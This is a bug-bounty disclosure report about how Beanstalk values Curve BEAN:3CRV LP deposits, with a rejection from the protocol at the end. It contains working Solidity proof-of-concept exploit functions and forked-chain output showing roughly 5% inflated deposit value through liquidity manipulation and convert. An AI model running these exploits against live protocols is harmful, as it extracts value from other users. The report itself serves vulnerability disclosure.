📄

Report #29063

Report Date
March 5, 2024
Status
Closed
Payout

Incorrect calculation of value of deposit leading to over minting of stalk

‣
Report Info

Report ID

#29063

Report type

Smart Contract

Has PoC?

Yes

Target

Impacts

Illegitimate minting of protocol native assets

Description

The vulnerability happens when we want to calculate the value of a LP curve deposit. To do this we call LibTokenSilo.beanDenominatedValue(Token, Amount) where to Token is the address of the curve metapool and amount is the number of tokens we want to deposit. This function calls LibBeanMetaCurve.bdv(amount).

function bdv(uint256 amount) internal view returns (uint256) {

        // By using previous balances and the virtual price, we protect against flash loan

        uint256[2] memory balances = IMeta3Curve(C.CURVE_BEAN_METAPOOL).get_previous_balances();

        uint256 virtualPrice = C.curveMetapool().get_virtual_price();

        uint256[2] memory xp = LibMetaCurve.getXP(balances, RATE_MULTIPLIER);



        uint256 a = C.curveMetapool().A_precise();

        uint256 D = LibCurve.getD(xp, a);

        uint256 price = LibCurve.getPrice(xp, a, D, RATE_MULTIPLIER);

        uint256 totalSupply = (D * PRECISION) / virtualPrice;

        uint256 beanValue = balances[0].mul(amount).div(totalSupply);

        uint256 curveValue = xp[1].mul(amount).div(totalSupply).div(price);

        return beanValue.add(curveValue);

    }

The vulnerability happens in when we get the balances by using get_previous_balances this function is called to to protect against flash loans but it still is not enough to protect against other types of market manipulation.

To see why this is problematic assume that currently that using market manipulation[^1] or just waiting for the right time, an attacker starts the block with 1 LP token worth 1.05 beans[^2]. Now to buy stalk with a 5% premium one just buys LP tokens and deposits them instead of immediately depositing the bean.

Note that this also allows to increase the value of current deposits, as one can add 3crv to the pool until the number of tokens is equal then add even more 3crv such that bean will be above peg allowing to call convert with current deposits.

Suggestion for fix

There are to parts of this vulnerability when you convert a deposit and when you just deposit.

Convert

For convert the solution is simple, when converting from beans don't use a bdv function instead just use the number of beans that we used to convert. This solution will protect against every other vulnerability's of this kind.

Deposit

The main problem is that we use one specific time to calculate the value of bdv, to fix this one should use a time waited average of the last deposits. For this one can use get_twap_balances and get_price_cumulative_last of the pool. Thus allowing to find the continues balances of for example the last hour only use one specific point in time that can be both volatile and easily manipulated.

[^1]: this is made easier as the liquidity of the pool has decreased considerably and is now only 165,041$. As of writing the LP is already at 1.05 bean per LP.

[^2]:This can be even bigger historically, this is just a value chosen because as of time of writing this is the value of LP.

Proof of concept

function encode(ConvertKind conv_type, uint256 beans, uint256 minLP, address pool) public pure returns (bytes memory){

        return abi.encode(conv_type ,beans,minLP,pool);

    }



    function decimals(address coin) public view returns (uint256){

        return 10**uint(IERC20(coin).decimals());

    }



    function print_coin(address coin, uint256 amount) public view{

        console.log(string.concat(IBean(coin).symbol(), ":"), amount / decimals(coin));

    }

general info about POC

All test were made on block number 19371615 (no market manipulation is used on the previous_balances).

All POC assume that they already have enough 3crv and bean tokens.

Before every POC we will call equalDeposit to make the math easier. This function hurts the exploiter as we get more LP if we add 3crv as liquidity to the metapool when the pool is not balanced. This function also changes the value of bdv, this happens as add_liqudity calls for update that updates previous_balances to the balance of the last block.

function equalDeposit() internal{

        uint[2] memory b1 = ICurvePool(CURVE_BEAN_METAPOOL).get_balances();

        uint b1_diff = b1[0] / decimals(BEAN) - b1[1] / decimals(THREE_CRV);

        IERC20(THREE_CRV).approve(CURVE_BEAN_METAPOOL, b1_diff*decimals(THREE_CRV));

        ICurvePool(CURVE_BEAN_METAPOOL).add_liquidity([0, b1_diff *decimals(THREE_CRV)], 0);

    }

POC 1: Deposit LP coins

function POC1(uint amount) public{

        equalDeposit();

        exploitDeposit(amount);

    }



    // For ease of implemntion this function will assume that bean is at peg when the function is called.

    // This assumption is not needed.

    // This function will give the user a deposit of bdv value (2*amount)*bdv

    function exploitDeposit(uint amount) internal{

        console.log("amount:", amount);

        console.log("bdv of one lp:", IBeanStalk(BEANSTALK).bdv(CURVE_BEAN_METAPOOL, decimals(CURVE_BEAN_METAPOOL)));

        uint[2] memory b1 = ICurvePool(CURVE_BEAN_METAPOOL).get_balances();

        console.log("number of coins in balances:");

        print_coin(BEAN, b1[0]);

        print_coin(THREE_CRV, b1[1]);

        IERC20(THREE_CRV).approve(CURVE_BEAN_METAPOOL, amount*decimals(THREE_CRV));

        IERC20(BEAN).approve(CURVE_BEAN_METAPOOL, amount*decimals(BEAN));

        // Got lp = 2*amount + some small amount as pools are not realy equal (only at the whole part)

        uint lp =  ICurvePool(CURVE_BEAN_METAPOOL).add_liquidity([amount * decimals(BEAN), amount*decimals(THREE_CRV)], 0);

        print_coin(CURVE_BEAN_METAPOOL, lp);

        console.log("call deposit");

        IERC20(CURVE_BEAN_METAPOOL).approve(BEANSTALK, lp);

        (,uint bdv,) =  IBeanStalk(BEANSTALK).deposit(CURVE_BEAN_METAPOOL, lp, LibTransfer.From.EXTERNAL);
		// We devide by 1e10 as deposit dosen't return bdv it returns stalk minted (I believe that this is also a minor bug)
        console.log("bdv of deposit:", bdv / 1e10);

    }

Print of POC1(1000)

amount: 1000
bdv of one lp: 1054028
number of coins in balances:
BEAN: 98020
3Crv: 98020
BEAN3CRV-f: 2019
call deposit
bdv of deposit: 2128

print of POC1(10000)

amount: 10000
bdv of one lp: 1054028
number of coins in balances:
BEAN: 98020
3Crv: 98020
BEAN3CRV-f: 20194
call deposit
bdv of deposit: 21285

Note that in both we get a about a 5.4% increase.

POC 2: convert deposit

function POC2(uint deposit_amount) public{

        // the deposit we want to convert. We will add 1 to show that we don't need to convert the whole deposit.

        console.log("depoited into beanstalk:", deposit_amount + 1);

        IERC20(BEAN).approve(BEANSTALK, (deposit_amount + 1) * decimals(BEAN));

        (,,int96 stem ) =IBeanStalk(BEANSTALK).deposit(BEAN, (deposit_amount + 1) * decimals(BEAN), LibTransfer.From.EXTERNAL);

        equalDeposit();

        exploitConvert(deposit_amount, stem);

    }



    // This function assummes that we called equalDeposit befure calling it.

    function exploitConvert(uint amount, int96 stem) internal{

        console.log("deposit_amount:", amount);

        console.log("bdv of one lp:", IBeanStalk(BEANSTALK).bdv(CURVE_BEAN_METAPOOL, decimals(CURVE_BEAN_METAPOOL)));

        uint[2] memory b1 = ICurvePool(CURVE_BEAN_METAPOOL).get_balances();

        console.log("number of coins in balances:");

        print_coin(BEAN, b1[0]);

        print_coin(THREE_CRV, b1[1]);

        IERC20(THREE_CRV).approve(CURVE_BEAN_METAPOOL, amount * decimals(THREE_CRV));

        uint lp =  ICurvePool(CURVE_BEAN_METAPOOL).add_liquidity([0, amount * decimals(THREE_CRV)], 0);

        console.log("LP earn with add_liquidity:");

        print_coin(CURVE_BEAN_METAPOOL, lp);

        b1 = ICurvePool(CURVE_BEAN_METAPOOL).get_balances();

        console.log("number of coins in balances:");

        print_coin(BEAN, b1[0]);

        print_coin(THREE_CRV, b1[1]);

        uint[]memory  amount_arr = new uint[](1);

        int96[] memory  stem_arr = new int96[](1);

        amount_arr[0] = amount * decimals(BEAN);

        stem_arr[0] = stem;

        (,,, uint256 fromBdv, uint256 toBdv) = IBeanStalk(BEANSTALK).convert(encode(ConvertKind.BEANS_TO_CURVE_LP, amount*decimals(BEAN), 0, address(CURVE_BEAN_METAPOOL)), stem_arr, amount_arr);

        console.log("bdv before and after:",fromBdv / decimals(BEAN), toBdv / decimals(BEAN));

    }

print of POC2(10000):

depoited into beanstalk: 10001
deposit_amount: 10000
bdv of one lp: 1054028
number of coins in balances:
BEAN: 98020
3Crv: 98020
LP earn with add_liquidity:
BEAN3CRV-f: 10047
number of coins in balances:
BEAN: 98019
3Crv: 108019
bdv before and after: 10000 10690

BIC Response

This is not a valid bug report because it describes expected behavior. The report describes expected risks associated with a whitelisted pool having low liquidity and holding Bean exposure over time.

The reported impact in scope is "Illegitimate minting of protocol native assets", but at no point are protocol native assets illegitimately minted.

For these reasons, we are closing the submission and no reward will be issued.